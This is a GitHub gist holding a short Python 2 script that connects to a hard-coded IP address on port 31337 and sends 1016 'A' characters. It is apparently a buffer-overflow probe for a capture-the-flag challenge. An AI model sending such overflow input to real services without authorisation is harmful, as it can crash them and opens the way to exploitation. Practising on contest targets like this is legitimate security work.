Skip to content

Instantly share code, notes, and snippets.

@m4tux
Last active December 23, 2015 20:09
Show Gist options
  • Save m4tux/6687302 to your computer and use it in GitHub Desktop.
Save m4tux/6687302 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import socket
s = socket.socket()
host = "128.238.66.212"
port = 31337
data = "A"*1016
s.connect((host, port))
print s.recv(2048)
s.send(data)
print s.recv(2048)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment